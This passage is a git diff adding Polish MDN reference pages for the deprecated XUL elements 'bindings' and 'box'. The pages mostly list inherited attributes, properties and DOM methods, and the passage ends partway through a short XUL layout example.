+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-object">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/object">object</a></span></code></dt>
+ <dd>
+ Obiekt elementu. Może być referencją zmiennej, URI źródła RDF lub wartością literalną RDF.</dd>
+</dl></div>
+<div id="p-predicate">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/predicate">predicate</a></span></code></dt>
+ <dd>
+ Predykat lub własność do dopasowania. Musi być adresem URI własności.</dd>
+</dl></div>
+<div id="p-subject">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/subject">subject</a></span></code></dt>
+ <dd>
+ Element tematu. Potrafi być odniesieniem zmiennej lub źródłem RDF adresu URI.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
diff --git a/files/pl/mozilla/tech/xul/bindings/index.html b/files/pl/mozilla/tech/xul/bindings/index.html
new file mode 100644
index 0000000000..543fd49d39
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/bindings/index.html
@@ -0,0 +1,103 @@
+---
+title: bindings
+slug: Mozilla/Tech/XUL/bindings
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/bindings
+---
+<div><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div>
+<div><div class="blockIndicator deprecated deprecatedHeader">
+ <p><strong><span class="icon-only-inline" title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> Wycofywany</strong><br>This feature has been removed from the Web standards. Though some browsers may still support it, it is in the process of being dropped. Do not use it in old or new projects. Pages or Web apps using it may break at any time.</p>
+ </div></div>
+
+<p>Powinien pozostawać wewnątrz reguł (<code><a href="/pl/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code>). Stosowany do określenia wiązań zmiennych dla reguły. Ten element powinien zawierać jeden lub więcej elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/binding" title="binding">binding</a></code>.</p>
+
+<p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Zaawansowane_regu%c5%82y">kursie XUL</a>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p>(potrzebne przykłady)</p>
+
+<h2 id="Atrybuty" name="Atrybuty">Atrybuty</h2>
+
+<div><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table></div>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<div><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table></div>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<div><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table></div>
+
+<h2 id="Podobne" name="Podobne">Podobne</h2>
+
+<p>TBD</p>
diff --git a/files/pl/mozilla/tech/xul/box/index.html b/files/pl/mozilla/tech/xul/box/index.html
new file mode 100644
index 0000000000..052814e3ed
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/box/index.html
@@ -0,0 +1,102 @@
+---
+title: box
+slug: Mozilla/Tech/XUL/box
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/box
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div>
+<p>Kontener, który może zawierać wiele elementów potomnych. Jeśli <code>box</code> posiada atrybut <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code> ustawiony na <code>horizontal</code>, to elementy potomne są rozłożone od lewej do prawej strony tak, że będą wyświetlone w pudełku. Jeśli <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code> jest ustawiony na <code>vertical</code>, to elementy potomne będą rozłożone od góry do dołu. Elementy potomne nie nachodzą na siebie. Domyślną orientacją jest <code>horizontal</code>.</p>
+<p>Dodatkowe informacje są dostępne w <a href="/pl/Kurs_XUL/Model_pude%C5%82kowy" title="pl/Kurs_XUL/Model_pudełkowy">kursie XUL</a>.</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<div class="float-right"><img alt="grafika:XUL_ref_box.png" class="internal" src="/@api/deki/files/2356/=XUL_ref_box.png"></div>
+<pre>&lt;box orient="horizontal"&gt;
+ &lt;label value="Zero"/&gt;
+ &lt;box orient="vertical"&gt;
+ &lt;label value="One"/&gt;
+ &lt;label value="Two"/&gt;
+ &lt;/box&gt;
+ &lt;box orient="horizontal"&gt;
